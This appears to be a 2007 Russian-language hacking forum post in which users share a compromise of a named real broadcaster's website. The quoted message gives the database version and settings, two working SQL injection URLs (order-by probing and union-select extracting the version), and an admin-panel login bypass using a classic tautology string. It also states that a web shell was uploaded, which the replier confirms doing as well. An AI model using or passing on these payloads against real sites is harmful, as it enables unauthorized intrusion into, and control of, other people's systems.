Показать сообщение отдельно

  #1  
Старый 17.07.2007, 17:44
Shram-spb
Познающий
Регистрация: 06.06.2007
Сообщений: 83
Провел на форуме:
404154

Репутация: 140
По умолчанию

Цитата:
Сообщение от k8^cat.YOU  

Межгосударственная телерадиокомпания «Мир»

mysql 4, magic_quotes off, file_priv off.
http://www.mirtv.ru/show.php?id=14968+order+by+5&templ=news
http://www.mirtv.ru/show.php?id=-14968+union+select+1,version(),3,4,5&templ=news

и вообще сайт очень насыщен sql-инекциями

ps.
http://www.mirtv.ru/admin/
login: admin' or 1=1/*
pass: k8<3you

шелл залит, сюда не выкладывать и не дефейсить - будьте людьми. ваши варианты залития в пм
Странно.. шелл залил, но листинг директорий запрещен... бага банальная.. но лови +2
 
Ответить с цитированием